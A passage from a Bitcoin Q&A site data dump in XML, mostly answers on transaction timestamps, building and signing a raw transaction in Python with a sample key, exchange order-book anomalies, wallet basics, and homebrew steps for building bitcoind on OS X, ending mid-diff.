  <row Id="5236" PostTypeId="2" ParentId="5233" CreationDate="2012-10-31T10:41:19.357" Score="9" Body="&lt;p&gt;The timestamp is not a part of the standard transaction as per &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot;&gt;Bitcoin Protocol Specification&lt;/a&gt;. It is most likely generated by the standard client during the api call. The standard client might use its internal time (that might differ from the machine time), which is vulnerable to &lt;a href=&quot;http://culubas.blogspot.com/2011/05/timejacking-bitcoin_802.html&quot;&gt;timejacking&lt;/a&gt;. I might be wrong, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as your client is running properly, it should be okay to use its timestamps for various notifications. They might represent the time the client received the transaction however, which may differ from the time the transaction was broadcast the first time.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-31T10:41:19.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5238" PostTypeId="2" ParentId="5233" CreationDate="2012-10-31T15:24:47.013" Score="2" Body="&lt;p&gt;&quot;Is it reliable to develop a transactions notification system?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is already existing, you could be interested in looking at  : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/MORA99/BitPing.Net&quot; rel=&quot;nofollow&quot;&gt;https://github.com/MORA99/BitPing.Net&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;afaik you dont really need the timestamp to do that, but just use a block explorer like abe :&#xA;&lt;a href=&quot;http://github.com/jtobey/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;http://github.com/jtobey/bitcoin-abe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and your application will be notified of any new transaction&lt;/p&gt;&#xA;" OwnerUserId="558" LastActivityDate="2012-10-31T15:24:47.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5241" PostTypeId="2" ParentId="3374" CreationDate="2012-10-31T18:20:26.650" Score="103" Body="&lt;p&gt;In this answer, I will go through the steps necessary to redeem the second output of the transaction listed above. The answer will be limited to redeeming an output of the particular type present in this transaction (an output which requires providing a new transaction signed with a private key whose corresponding public key hashes to the hash in the script of the output in question), as this answer is already fairly long, even without taking into account other output types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Short summary:&lt;/strong&gt; We begin by constructing a new transaction, with a scriptSig containing the scriptPubKey of the output we want to redeem. The scriptPubKey of this transaction will contain a script that pays to a hash of a public key (Bitcoin address). We perform a double-SHA256 hash on this transaction with the four-byte hash code type SIGHASH_ALL appended to the end. We sign this hash with the private key supplied above. The scriptSig of this new transaction is then replaced with a script that first pushes the DER-encoded signature, plus the one-byte hash code type SIGHASH_ALL, to the stack, followed by the DER-encoded private key's corresponding public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step-by-step description:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We start creating a new raw transaction which we hash and sign.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add four-byte version field: &lt;code&gt;01000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;One-byte varint specifying the number of inputs: &lt;code&gt;01&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;32-byte hash of the transaction from which we want to redeem an output: &lt;code&gt;eccf7e3034189b851985d871f91384b8ee357cd47c3024736e5676eb2debb3f2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Four-byte field denoting the output index we want to redeem from the transaction with the above hash (output number 2 = output index 1): &lt;code&gt;01000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now comes the scriptSig. For the purpose of signing the transaction, this is temporarily filled with the scriptPubKey of the output we want to redeem. First we write a one-byte varint which denotes the length of the scriptSig (0x19 = 25 bytes): &lt;code&gt;19&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then we write the temporary scriptSig which, again, is the scriptPubKey of the output we want to redeem: &lt;code&gt;76a914010966776006953d5567439e5e39f86a0d273bee88ac&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then we write a four-byte field denoting the sequence. This is currently always set to 0xffffffff: &lt;code&gt;ffffffff&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Next comes a one-byte varint containing the number of outputs in our new transaction. We will set this to 1 in this example: &lt;code&gt;01&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;We then write an 8-byte field (64 bit integer) containing the amount we want to redeem from the specified output. I will set this to the total amount available in the output minus a fee of 0.001 BTC (0.999 BTC, or 99900000 Satoshis): &lt;code&gt;605af40500000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then we start writing our transaction's output. We start with a one-byte varint denoting the length of the output script (0x19 or 25 bytes): &lt;code&gt;19&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then the actual output script: &lt;code&gt;76a914097072524438d003d23a2f23edb65aae1bb3e46988ac&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then we write the four-byte &quot;lock time&quot; field: &lt;code&gt;00000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And at last, we write a four-byte &quot;hash code type&quot; (1 in our case): &lt;code&gt;01000000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We now have the following raw transaction data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000&#xA;01&#xA;eccf7e3034189b851985d871f91384b8ee357cd47c3024736e5676eb2debb3f2&#xA;01000000&#xA;19&#xA;76a914010966776006953d5567439e5e39f86a0d273bee88ac&#xA;ffffffff&#xA;01&#xA;605af40500000000&#xA;19&#xA;76a914097072524438d003d23a2f23edb65aae1bb3e46988ac&#xA;00000000&#xA;01000000&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(signing stage) Now we double-SHA256 hash this entire structure, which yields the hash &lt;code&gt;9302bda273a887cb40c13e02a50b4071a31fd3aae3ae04021b0b843dd61ad18e&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;We then create a public/private key pair out of the provided private key. We sign the hash from step 14 with the private key, which yields the following DER-encoded signature (this signature will be different in your case): &lt;code&gt;30460221009e0339f72c793a89e664a8a932df073962a3f84eda0bd9e02084a6a9567f75aa022100bd9cbaca2e5ec195751efdfac164b76250b1e21302e51ca86dd7ebd7020cdc06&lt;/code&gt; To this signature we append the one-byte hash code type: &lt;code&gt;01&lt;/code&gt;. The public key is: &lt;code&gt;0450863ad64a87ae8a2fe83c1af1a8403cb53f53e486d8511dad8a04887e5b23522cd470243453a299fa9e77237716103abc11a1df38855ed6f2ee187e9c582ba6&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We construct the final scriptSig by concatenating:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One-byte script OPCODE containing the length of the DER-encoded signature plus 1 (the length of the one-byte hash code type)&lt;/li&gt;&#xA;&lt;li&gt;The actual DER-encoded signature plus the one-byte hash code type&lt;/li&gt;&#xA;&lt;li&gt;One-byte script OPCODE containing the length of the public key&lt;/li&gt;&#xA;&lt;li&gt;The actual public key&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We then replace the one-byte, varint length-field from step 5 with the length of the data from step 16. The length is 140 bytes, or 0x8C bytes: &lt;code&gt;8c&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;And we replace the temporary scriptSig from Step 6 with the data structure constructed in step 16. This becomes: &lt;code&gt;4930460221009e0339f72c793a89e664a8a932df073962a3f84eda0bd9e02084a6a9567f75aa022100bd9cbaca2e5ec195751efdfac164b76250b1e21302e51ca86dd7ebd7020cdc0601410450863ad64a87ae8a2fe83c1af1a8403cb53f53e486d8511dad8a04887e5b23522cd470243453a299fa9e77237716103abc11a1df38855ed6f2ee187e9c582ba6&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We finish off by &lt;em&gt;removing&lt;/em&gt; the four-byte hash code type we added in step 13, and we end up with the following stream of bytes, which is the final transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000&#xA;01&#xA;eccf7e3034189b851985d871f91384b8ee357cd47c3024736e5676eb2debb3f2&#xA;01000000&#xA;8c&#xA;4930460221009e0339f72c793a89e664a8a932df073962a3f84eda0bd9e02084a6a9567f75aa022100bd9cbaca2e5ec195751efdfac164b76250b1e21302e51ca86dd7ebd7020cdc0601410450863ad64a87ae8a2fe83c1af1a8403cb53f53e486d8511dad8a04887e5b23522cd470243453a299fa9e77237716103abc11a1df38855ed6f2ee187e9c582ba6&#xA;ffffffff&#xA;01&#xA;605af40500000000&#xA;19&#xA;76a914097072524438d003d23a2f23edb65aae1bb3e46988ac&#xA;00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Python example code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an example Python script which does all the above. It is intentionally as verbose as possible, and heavily commented, with as few functions as possible, in order to resemble the step-by-step guide above. The number of code lines can easily be reduced to one half, but I choose to post it in this verbose format as I judge that it's the easiest to follow (ie. no 'jumping' backwards and forwards through functions). The script contains 76 non-empty, non-comment lines.&#xA;The script depends on &lt;a href=&quot;https://github.com/runeksvendsen/bitcointools&quot; rel=&quot;noreferrer&quot;&gt;bitcointools&lt;/a&gt; (for serializing and deserializing transactions, and base58 encoding/decoding) and &lt;a href=&quot;https://raw.github.com/runeksvendsen/brutus/master/ecdsa_ssl.py&quot; rel=&quot;noreferrer&quot;&gt;ecdsa_ssl.py&lt;/a&gt; from my fork of joric's brutus repository (for constructing public/private EC key pairs and ECDSA signing). The easiest way to get the script to run is to clone bitcointools into a folder, and put ecdsa_ssl.py from the above URL in the same folder along with this script, and executing the script from there.&#xA;You will want to replace the address in the &lt;code&gt;SEND_TO_ADDRESS&lt;/code&gt; variable in this script with the address you want the coins sent to, unless you're feeling generous :).&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&#xA;#bitcointools&#xA;from deserialize import parse_Transaction, opcodes&#xA;from BCDataStream import BCDataStream&#xA;from base58 import bc_address_to_hash_160, b58decode, public_key_to_bc_address, hash_160_to_bc_address&#xA;&#xA;import ecdsa_ssl&#xA;&#xA;import Crypto.Hash.SHA256 as sha256&#xA;import Crypto.Random&#xA;&#xA;#transaction, from which we want to redeem an output&#xA;HEX_TRANSACTION=&quot; &quot;&#xA;#output to redeem. must exist in HEX_TRANSACTION&#xA;OUTPUT_INDEX=1&#xA;#address we want to send the redeemed coins to.&#xA;#REPLACE WITH YOUR OWN ADDRESS, unless you're feeling generous &#xA;SEND_TO_ADDRESS=&quot;1L4xtXCdJNiYnyqE6UsB8KSJvqEuXjz6aK&quot;&#xA;#fee we want to pay (in BTC)&#xA;TX_FEE=0.001&#xA;#constant that defines the number of Satoshis per BTC&#xA;COIN=100000000&#xA;#constant used to determine which part of the transaction is hashed.&#xA;SIGHASH_ALL=1&#xA;#private key whose public key hashes to the hash contained in scriptPubKey of output number *OUTPUT_INDEX* in the transaction described in HEX_TRANSACTION&#xA;PRIVATE_KEY=0x18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725&#xA;&#xA;def dsha256(data):&#xA;   return sha256.new(sha256.new(data).digest()).digest()&#xA;&#xA;tx_data=HEX_TRANSACTION.decode('hex_codec')&#xA;tx_hash=dsha256(tx_data)&#xA;&#xA;#here we use bitcointools to parse a transaction. this gives easy access to the various fields of the transaction from which we want to redeem an output&#xA;stream = BCDataStream()&#xA;stream.write(tx_data)&#xA;tx_info = parse_Transaction(stream)&#xA;&#xA;if len(tx_info['txOut']) &amp;lt; (OUTPUT_INDEX+1):&#xA;   raise RuntimeError, &quot;there are only %d output(s) in the transaction you're trying to redeem from. you want to redeem output index %d&quot; % (len(tx_info['txOut']), OUTPUT_INDEX)&#xA;&#xA;#this dictionary is used to store the values of the various transaction fields&#xA;#  this is useful because we need to construct one transaction to hash and sign&#xA;#  and another that will be the final transaction&#xA;tx_fields = {}&#xA;&#xA;##here we start creating the transaction that we hash and sign&#xA;sign_tx = BCDataStream()&#xA;##first we write the version number, which is 1&#xA;tx_fields['version'] = 1&#xA;sign_tx.write_int32(tx_fields['version'])&#xA;##then we write the number of transaction inputs, which is one&#xA;tx_fields['num_txin'] = 1&#xA;sign_tx.write_compact_size(tx_fields['num_txin'])&#xA;&#xA;##then we write the actual transaction data&#xA;#'prevout_hash'&#xA;tx_fields['prevout_hash'] = tx_hash&#xA;sign_tx.write(tx_fields['prevout_hash']) #hash of the the transaction from which we want to redeem an output&#xA;#'prevout_n'&#xA;tx_fields['output_index'] = OUTPUT_INDEX&#xA;sign_tx.write_uint32(tx_fields['output_index']) #which output of the transaction with tx id 'prevout_hash' do we want to redeem?&#xA;&#xA;##next comes the part of the transaction input. here we place the script of the *output* that we want to redeem&#xA;tx_fields['scriptSigHash'] = tx_info['txOut'][OUTPUT_INDEX]['scriptPubKey']&#xA;#first write the size&#xA;sign_tx.write_compact_size(len(tx_fields['scriptSigHash']))&#xA;#then the data&#xA;sign_tx.write(tx_fields['scriptSigHash'])&#xA;&#xA;#'sequence'&#xA;tx_fields['sequence'] = 0xffffffff&#xA;sign_tx.write_uint32(tx_fields['sequence'])&#xA;&#xA;##then we write the number of transaction outputs. we'll just use a single output in this example&#xA;tx_fields['num_txout'] = 1&#xA;sign_tx.write_compact_size(tx_fields['num_txout'])&#xA;##then we write the actual transaction output data&#xA;#we'll redeem everything from the original output minus TX_FEE&#xA;tx_fields['value'] = tx_info['txOut'][OUTPUT_INDEX]['value']-(TX_FEE*COIN)&#xA;sign_tx.write_int64(tx_fields['value'])&#xA;##this is where our scriptPubKey goes (a script that pays out to an address)&#xA;#we want the following script:&#xA;#&quot;OP_DUP OP_HASH160  OP_EQUALVERIFY OP_CHECKSIG&quot;&#xA;address_hash = bc_address_to_hash_160(SEND_TO_ADDRESS)&#xA;#chr(20) is the length of the address_hash (20 bytes or 160 bits)&#xA;scriptPubKey = chr(opcodes.OP_DUP) + chr(opcodes.OP_HASH160) + \&#xA;   chr(20) + address_hash + chr(opcodes.OP_EQUALVERIFY) + chr(opcodes.OP_CHECKSIG)&#xA;#first write the length of this lump of data&#xA;tx_fields['scriptPubKey'] = scriptPubKey&#xA;sign_tx.write_compact_size(len(tx_fields['scriptPubKey']))&#xA;#then the data&#xA;sign_tx.write(tx_fields['scriptPubKey'])&#xA;&#xA;#write locktime (0)&#xA;tx_fields['locktime'] = 0&#xA;sign_tx.write_uint32(tx_fields['locktime'])&#xA;#and hash code type (1)&#xA;tx_fields['hash_type'] = SIGHASH_ALL&#xA;sign_tx.write_int32(tx_fields['hash_type'])&#xA;&#xA;#then we obtain the hash of the signature-less transaction (the hash that we sign using our private key)&#xA;hash_scriptless = dsha256(sign_tx.input)&#xA;&#xA;##now we begin with the ECDSA stuff.&#xA;## we create a private key from the provided private key data, and sign hash_scriptless with it&#xA;## we also check that the private key's corresponding public key can actually redeem the specified output&#xA;&#xA;k = ecdsa_ssl.KEY()&#xA;k.generate(('%064x' % PRIVATE_KEY).decode('hex'))&#xA;&#xA;#here we retrieve the public key data generated from the supplied private key&#xA;pubkey_data = k.get_pubkey()&#xA;#then we create a signature over the hash of the signature-less transaction&#xA;sig_data=k.sign(hash_scriptless)&#xA;#a one byte &quot;hash type&quot; is appended to the end of the signature (https://en.bitcoin.it/wiki/OP_CHECKSIG)&#xA;sig_data = sig_data + chr(SIGHASH_ALL)&#xA;&#xA;#let's check that the provided privat key can actually redeem the output in question&#xA;if (bc_address_to_hash_160(public_key_to_bc_address(pubkey_data)) != tx_info['txOut'][OUTPUT_INDEX]['scriptPubKey'][3:-2]):&#xA;   bytes = b58decode(SEND_TO_ADDRESS, 25)&#xA;   raise RuntimeError, &quot;The supplied private key cannot be used to redeem output index %d\nYou need to supply the private key for address %s&quot; % \&#xA;                           (OUTPUT_INDEX, hash_160_to_bc_address(tx_info['txOut'][OUTPUT_INDEX]['scriptPubKey'][3:-2], bytes[0]))&#xA;&#xA;##now we begin creating the final transaction. this is a duplicate of the signature-less transaction,&#xA;## with the scriptSig filled out with a script that pushes the signature plus one-byte hash code type, and public key from above, to the stack&#xA;&#xA;final_tx = BCDataStream()&#xA;final_tx.write_int32(tx_fields['version'])&#xA;final_tx.write_compact_size(tx_fields['num_txin'])&#xA;final_tx.write(tx_fields['prevout_hash'])&#xA;final_tx.write_uint32(tx_fields['output_index'])&#xA;&#xA;##now we need to write the actual scriptSig.&#xA;## this consists of the DER-encoded values r and s from the signature, a one-byte hash code type, and the public key in uncompressed format&#xA;## we also need to prepend the length of these two data pieces (encoded as a single byte&#xA;## containing the length), before each data piece. this length is a script opcode that tells the&#xA;## Bitcoin script interpreter to push the x following bytes onto the stack&#xA;&#xA;scriptSig = chr(len(sig_data)) + sig_data + chr(len(pubkey_data)) + pubkey_data&#xA;#first write the length of this data&#xA;final_tx.write_compact_size(len(scriptSig))&#xA;#then the data&#xA;final_tx.write(scriptSig)&#xA;&#xA;##and then we simply write the same data after the scriptSig that is in the signature-less transaction,&#xA;#  leaving out the four-byte hash code type (as this is encoded in the single byte following the signature data)&#xA;&#xA;final_tx.write_uint32(tx_fields['sequence'])&#xA;final_tx.write_compact_size(tx_fields['num_txout'])&#xA;final_tx.write_int64(tx_fields['value'])&#xA;final_tx.write_compact_size(len(tx_fields['scriptPubKey']))&#xA;final_tx.write(tx_fields['scriptPubKey'])&#xA;final_tx.write_uint32(tx_fields['locktime'])&#xA;&#xA;#prints out the final transaction in hex format (can be used as an argument to bitcoind's sendrawtransaction)&#xA;print final_tx.input.encode('hex')&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="902" LastEditorUserId="902" LastEditDate="2019-09-07T20:16:29.003" LastActivityDate="2019-09-07T20:16:29.003" CommentCount="15" ContentLicense="CC BY-SA 4.0" />
  <row Id="5242" PostTypeId="2" ParentId="5212" CreationDate="2012-10-31T21:23:09.277" Score="6" Body="&lt;p&gt;Frankly, you sure you want to send 1/100th of a cent to someone? Current fee of 1/2 of a cent is a great way to ensure sustainability of bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you are willing to do this out of academic interest, you can use any of the other wallets - for example, &lt;a href=&quot;https://blockchain.info/wallet&quot;&gt;https://blockchain.info/wallet&lt;/a&gt; - which would allow you to send any amount free (could take alot of time, depending on miner settings, though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as Stephen said, don't do this. It makes no sense. &lt;/p&gt;&#xA;" OwnerUserId="882" LastActivityDate="2012-10-31T21:23:09.277" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5243" PostTypeId="1" CreationDate="2012-11-01T08:43:47.477" Score="4" ViewCount="350" Body="&lt;p&gt;caling getDepth.php I stumbled on some data that contains bids that are higher than asks. That can be seen in orderbook data with the following unix timestamps (for getting human readable date use $date -d@[unixtime]):&#xA;1325249854&#xA;1325249914&#xA;1325249975&#xA;1325319825&#xA;1325441984&#xA;1325545019&#xA;1325595982&#xA;1325597938&#xA;1325625735&#xA;1325645568&#xA;1325660473&#xA;1326656827&#xA;1328089365&#xA;1328089676&#xA;1328089737&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does MtGox stream &quot;orders as arrived&quot; without any processing or is this some kind of anomaly? From 6. 2011 till 9. 2012 with about 3min resolution I counted around 300 instances of such anomalies. Any thoughts on what could be going on? Is this common for other exchanges?&lt;/p&gt;&#xA;" OwnerUserId="2145" LastActivityDate="2013-11-19T04:07:35.177" Title="mtgox max bid higher than min ask" Tags="|mtgox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5245" PostTypeId="1" AcceptedAnswerId="5246" CreationDate="2012-11-01T20:36:47.547" Score="8" ViewCount="828" Body="&lt;p&gt;SatoshiDice and BitLotto allow players to customize where winnings are sent by including an extra 0.00543210 BTC payment to the desired address as part of the entry transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a technical reason they don't use a single satoshi (0.00000001 BTC) value instead?&lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2012-11-01T21:17:37.057" Title="Is there a reason SatoshiDice &amp; BitLotto use 0.00543210 BTC, and not 1 satoshi, to customize pay-to addresses?" Tags="|transactions|satoshi|gambling|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5246" PostTypeId="2" ParentId="5245" CreationDate="2012-11-01T21:17:37.057" Score="6" Body="&lt;p&gt;Well, what that is called is a hack.  It is a hack to make the system work in a way that is wasn't meant to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By definition, hacks aren't thought out very well and often aren't the optimum method -- if not outright flawed.  But they do in many instances, fix the immediate need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most every bet to BitLotto and SatoshiDICE there is an output address for change.  These services can't know if that change was meant to be the alternate pay-to address or if it was just the change.   One Satoshi would be a bad choice for this &quot;special indicator&quot; as that happens naturally quite often.  An amount that doesn't occur very often would be an amount like &quot;0.00543210&quot;.  The frequency of change being 0.00543210 is much, much lower than it being 0.00000001 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the chance is not zero.  If I have a coin with 0.25543210 BTC on it and I sent a 0.25 wager, I'll get back 0.00543210 as change.  Since that change is for an address in my own wallet, then even though SatoshiDICE might send the winnings to that change address I'll still receive them.  But the normal mode for these services is to always pay back to a sending (input) address, so returning to the change address frequently becomes a service issue as it is harder to understand how it works.   So ideally, this special number is one that wouldn't normally get be used for change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if instead I had actually made both a payment of 0.00543210 to someone and a bet to SatoshiDICE in the exact same transaction, then the winnings would go to that someone and not back to me.  If I know that 0.00543210 is of special significance with SatoshiDICE I'll know to never make a transaction with that amount in it when I'm also including a SatoshiDICE bet.  If the number were something else, like 0.00814271, that also would be infrequently used naturally, but it also wouldn't be one that I would recognize and might accidentally be an amount I would pay in this hypothetical bet statement that I combine with real-world payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm going to come to the conclusion that to eliminate even the extremely rare chance that the payout goes to the wrong party, these services chose an easily recognizable amount so that it might save a person from making that mistake.  This amount would also preferable be a low value so that it doesn't suck too much betting capacity from the bettor's wallet with each use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is an amount that serves both those aims?  0.00543210.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-01T21:17:37.057" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5248" PostTypeId="2" ParentId="4229" CreationDate="2012-11-02T00:44:12.350" Score="3" Body="&lt;p&gt;No there is not. The ATI Catalyst driver implements OpenCL, which is what GPU miners use to accelerate the SHA256 hashing used in mining. The open source driver does not implement OpenCL. There are experimental projects that aim to implement OpenCL in the open source driver (&lt;a href=&quot;http://cgit.freedesktop.org/mesa/mesa/log/?h=gallium-compute&quot; rel=&quot;nofollow&quot;&gt;Clover&lt;/a&gt; is an example) - as a Gallium3D state tracker - but so far these only run on the CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPU drivers are very complex pieces of software. Even if an open source implementation of OpenCL, that runs on the GPU, were to become available, it would likely be orders of magnitude slower than ATI's proprietary implementation, which basically undermines the whole purpose of using the GPU in the first place -- to gain speed.&lt;/p&gt;&#xA;" OwnerUserId="902" LastActivityDate="2012-11-02T00:44:12.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5249" PostTypeId="1" AcceptedAnswerId="5255" CreationDate="2012-11-02T01:20:28.677" Score="25" ViewCount="16353" Body="&lt;p&gt;How secure is using a wallet on blockchain.info?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you evaluate the different sites that provide wallets?&lt;/p&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2017-02-04T01:44:33.700" Title="How secure is blockchain.info?" Tags="|wallet|security|address|e-wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5251" PostTypeId="1" AcceptedAnswerId="5252" CreationDate="2012-11-02T22:31:50.813" Score="14" ViewCount="8963" Body="&lt;p&gt;I've been reading about bitcoins and I've come across a few questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How does the wallet actually work? From what I can gather, I use the wallet as a centralized service to store recieved coins, and to send coins. If recieved coins are stored physically in the .dat file, what are the safeguards that prevent users from duplicating the .dat file and getting more coins?&lt;/li&gt;&#xA;&lt;li&gt;Do I need to have the wallet client on to receive transactions? In other words, if i don't leave the wallet client active on my computer, will i be able to receive transactions the next time i open the wallet?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="2152" LastEditorUserId="132" LastEditDate="2012-11-03T11:49:32.250" LastActivityDate="2017-08-12T21:10:48.277" Title="How does the wallet work, online and offline?" Tags="|transactions|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5252" PostTypeId="2" ParentId="5251" CreationDate="2012-11-03T00:16:07.480" Score="14" Body="&lt;p&gt;Although wallets indeed contain your &quot;coins&quot;, the ability to spend them is tracked by the network. Every fully validating node keeps a list of available coins on the network. They do not know who has which, only which (Bitcoin, not IP) address (or addresses) they are associated to. In case you try to spend the same coin twice - for example because you copied your wallet to another computer, and then tried to send a transaction from each - you may temporarily confuse the network. Some nodes may first see the one transactions and some others will see the others first. However, the strength of the system is that this disagreement cannot exist for long and only one of them will be accepted after some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The essential thing in your wallet is not the transactions, but the keys. Each address has an associated public and private key. These private keys never leave your wallet file and are necessary to spend the coins assigned to your addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the transactions are tracked by the network, you indeed don't need to be online to receive transactions. The next time you connect, your client will ask the network for up-to-date information. During the synchronization that follows, your incoming transaction will be fetched, and the client will detect this as an incoming payment.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="14134" LastEditDate="2017-08-12T21:10:48.277" LastActivityDate="2017-08-12T21:10:48.277" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5253" PostTypeId="2" ParentId="3672" CreationDate="2012-11-03T03:34:33.197" Score="11" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; These instructions or similar are included in the bitcoin source as of &lt;em&gt;19 February 2013&lt;/em&gt;. See &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-osx.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;doc/build-osx.md&lt;/code&gt;&lt;/a&gt; for details. As such, the below instructions may fall out of date. Alternatively, make it easy on yourself an use &lt;a href=&quot;https://github.com/WyseNynja/homebrew-bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;WyseNynja's homebrew tap&lt;/a&gt; with &lt;code&gt;brew tap wysenynja/bitcoin &amp;amp;&amp;amp; brew install bitcoind&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Building bitcoind on OSX 10.8 with homebrew&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I got bitcoind working using these instructions. For reference, I'm on OSX 10.8.2 with homebrew 0.9.3. I've made an assumption throughout that homebrew is installed in /usr/local. I've also assumed that you've installed the Xcode command line utilities and any other packages that are essential to building code. If you build any code regularly, e.g. you have RVM installed to build ruby occasionally, you're probably OK!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install some necessary libraries from homebrew.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew install boost miniupnpc openssl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Revert berkeley-db formula to an older version&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /usr/local&#xA;git checkout e6a374d Library/Formula/berkeley-db.rb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may have to unlink it if you've already installed the latest version.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew unlink berkeley-db&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Install berkeley-db 4.8 now that you've got the right formula in place.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew install berkeley-db&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Checkout from Github.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone https://github.com/bitcoin/bitcoin.git&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit the makefile.osx to change it a bit. Here's a diff that shows what you need to change, or you can just use this as a patch by doing &lt;code&gt;echo '$patch-text' | patch&lt;/code&gt;, where $patch-text is the patch text below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;diff --git a/src/makefile.osx b/src/makefile.osx&#xA;index 9629545..ffac9a3 100644&#xA;--- a/src/makefile.osx&#xA;+++ b/src/makefile.osx&#xA;@@ -7,17 +7,19 @@&#xA; # Originally by Laszlo Hanyecz (solar@heliacal.net)&#xA;&#xA; 